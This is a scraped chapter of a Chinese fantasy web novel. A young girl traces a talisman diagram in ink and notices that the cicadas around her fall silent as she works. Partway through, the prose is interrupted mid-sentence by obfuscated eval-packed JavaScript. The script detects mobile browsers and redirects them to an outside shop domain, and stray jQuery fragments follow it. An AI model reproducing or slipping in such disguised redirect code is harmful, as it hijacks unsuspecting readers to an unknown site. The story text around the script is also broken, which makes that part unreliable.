文趣网 > 都市小说 > 墨散意不尽 > 3. 描图实验
    第二天放学,周伯年在教室门口截住张清,往她手里塞了一张纸。

    纸是油印的,墨色不匀,有些地方糊成一团。纸上画着一个图形——和昨天在那间平房里看到的那张泛黄符纸上的图形一样,但线条模糊了很多,有些细线完全印不出来。

    "拿回去描。"周伯年说,"只用毛笔,不用铅笔。"

    "描什么?"

    "你就描。"

    说完就走了。

    张清把纸折好放进书包。陈苗苗从教室里冲出来,书包都没拉拉链,本子角露在外面一翘一翘的。

    "周老师给你什么了?"陈苗苗踮脚要偷看。

    "一张纸。"

    "什么纸?"

    "练字的纸。"

    "你天天练字,还嫌不够?"陈苗苗撇撇嘴,"走吧走吧,我妈说今天到了一批新的水果糖,你运气好。"

    张清跟着陈苗苗走了。那张油印纸在书包里折着,贴着语文课本的封面。

    晚饭后,张清关上房间的门。

    方桌上铺了毛边纸,砚台里磨好了墨。她把那张油印纸摊开,用木条镇纸压住四个角。

    台灯的光打在纸上,油印的墨迹泛着一层灰。图形的轮廓看得清,但细节糊了大半。昨天在周伯年那里看到的原本上,弧线下面还有三根极细的线,像根须一样。油印纸上什么都没有。

    张清拿起毛笔,蘸墨,笔尖悬在纸上。

    她没有立刻落笔。

    她在看。看那些线条的走向,哪里起笔,哪里转折,哪里收。油印的线条虽然模糊,但笔路还在。每一根线的起收方向,和她平时写"永"字的笔法一样:藏锋起,中锋行,回锋收。

    她开始描。

    第一根线。笔尖触纸的一瞬间,她感觉到了什么。很微弱,像笔杆里有什么东西动了一下。和暑假写"永"字时一样的感觉,但方向不同,写"永"字的时候,那个感觉从笔尖往外走;描这根线的时候,它往回缩了一下,像被什么东西吸住了。

    她继续描。第二根,第三根。手腕在纸上移动,每一根线都顺着油印的痕迹走。她尽量不去想"这是什么",只是描,像父亲说的"写就是了"。

    描到第六根线的时候,油印纸上只有六根,原本有十二根,她停了笔。

    窗外安静了。

    不是渐渐安静。是突然的,像有人把声音的开关拧到了底。蝉不叫了。连隔壁灶房里母亲炒菜的声音都听不见了。整个世界像被一只手捂住了嘴。

    张清抬起头。窗外还是那几棵树,天还没黑,叶子的颜色看得清清楚楚。但蝉鸣停了。

    她屏住呼吸,一动不动地坐着。那种安静那种安静是满的,像有什么东西填进来了,填在声音本来待的地方。

    三秒。五秒。蝉鸣回来了,先是一只,然后两只,然后一片,像什么都没发生过。

    张清盯着桌上的纸。六根线条,墨迹还没干。她低头仔细看,线条的边缘,墨汁在微微地动。墨汁在自己流动。很慢,很轻,像水底有什么东西在游。

    她深吸一口气,又铺了一张新纸,重新描。

    这一次她描得更慢。每一根线都用了比刚才多一倍的时间,笔尖在纸上走的时候,她把全部注意力都集中在墨汁从笔锋流到纸面那个瞬间。

    六根线描完。蝉又停了。

    这一次久了一些。倒像在跟她较劲,她描得认真,它就停得久一点。

    蝉鸣回来之后,张清没有再描。她在抽屉里翻出一个旧本子,封面写着"语文"…上学期的,还剩半本空白页。她翻到空白页,拿起铅笔。

    她画了一张图。就是刚才描的那个图形,六根线条,歪歪扭扭的,有几根画偏了。然后在图旁边写了一行字:

    "蝉不叫了。第二次比第一次久。"

    字写得歪歪扭扭的,有几个笔画还写反了。八岁的张清刚学会写不多的字,"第"字写了两遍才写对。

    她又翻了一页,画了第二张图,这次是记忆中周伯年那间平房里泛黄符纸上的图形。她记得十二根线的大致位置,但画出来跟原本差得很远。在图旁边写:

    "原本有十二根。油印的只有六根。六根蝉就停了。十二根会怎样?"

    写完之后她看了看自己的字,觉得太丑了。但没关系,这是给自己看的。

    她合上本子,塞进书包底下。

    窗外蝉鸣依旧。八月底的鄂西南,蝉叫得要把天撕开。但刚才那两段安静,她记得清清楚楚。

    张清站起来活动了一下。腰有点酸。她走到窗前透气,推开窗,热风灌进来。

    厂区外面有一条土路,通往镇上。路上没什么人,偶尔有骑自行车的经过。张清正要关窗,看见土路上有个人停下了脚步。

    一个中年男人,瘦高个,穿灰布衫,背对着她。他站在路边,走着走着突然不走了。张清看见他偏了一下头,好像在听什么。然后他转过身来,朝厂区方向看了一眼。

    隔着几百米,张清看不清他的脸。但她感觉到那个人皱了一下眉。很轻,很快,像是闻到了什么不对的味道。

    然后他走了。步子没变,不快不慢,沿着土路往镇上去了。

    张清关上窗。她没多想。厂区附近来来去去的人多,她不认识也正常。

    接下来几天,张清每天写完五十个大字之后,就关上门描图。

    她描了很多遍。有时候专注,有时候走神。专注的时候蝉停得久,走神的时候蝉只停一小会儿。她把每次的结果都记在那个旧本

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809167|210771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子上,不写数字,画图,画歪歪扭扭的字。有时候画着画着自己笑了,因为线条画得像蚯蚓。有一次被母亲撞见了,母亲问她笑什么,她说没什么。母亲看了看桌上的纸和笔,又看了看她,没再问,放下饭碗就出去了。母亲的脚步在门外停了一会儿才走远。

    她发现了一个规律:描图的时候,脑子里不能想别的事。不能想明天吃什么,不能想陈苗苗今天又说了什么,不能想父亲回来会不会检查字数。脑子里只能有那些线条。线条在,蝉就停;脑子跑了,蝉就叫。

    像是在跟什么看不见的东西下棋。她走一步,对方走一步。她专注,对方就安静;她松懈,对方就出声。

    第四天晚上,她试着描了七根线——在油印纸的六根线基础上,她凭记忆加了一根。第七根线是原本上弧线下面那三根细线中的一根,她记得位置,但记不清粗细。

    第七根线画下去的时候,笔尖突然变重了。纸面上的阻力变大了。像是在黏稠的水里写字,每一步都要多用一点力。

    蝉停了。比前几次都久。

    墨迹在纸上流动得更明显了。墨迹在流,沿着线条的边缘缓慢地移动,像有什么活物在墨汁底下爬。

    张清盯着那张纸看了很久。墨迹慢慢停下来,变干,变普通。蝉鸣又回来了。

    她在本子上画了一张新的图,七根线,旁边写着:

    "七根比六根厉害。墨在流。像活的。"

    最后那个"活"字她想了半天,本来想写"动",但觉得不对。不是动,是活。

    她把本子合上,看着窗外的夜色发了一会儿呆。远处车间的烟囱还亮着灯,夜班开始了。母亲在隔壁和父亲说话,声音很低。

    第二天早上,张清刚走进教室,陈苗苗就凑过来了。

    "哎,你昨天在家干什么了?"

    "写作业。"

    "不是吧?"陈苗苗压低声音,一脸神秘,下巴几乎戳到张清肩膀上,"我妈昨天傍晚路过你家门口,说觉得特别安静。你家那边蝉叫得那么响,她每次路过都嫌吵。昨天她说安静得不正常,还以为你们家搬了呢。"

    张清愣了一下。

    "真没有。就写了会儿字。"

    "写字能写安静了?"陈苗苗翻了个白眼,"你骗人。你是不是偷偷买了什么机器?"

    "什么机器?"

    "我也不知道。我听我爸说过,城里有什么机器一开,周围就安静了。"

    "没有。"

    陈苗苗看了她一眼,见她不接话,自顾自地转头跟后桌说话去了。

    张清低着头,手指在课桌底下攥了一下。书包底下的那个旧本子,硬邦邦的,硌着她的背。上面画满了歪歪扭扭的线条和好几个连笔顺都没写对的字。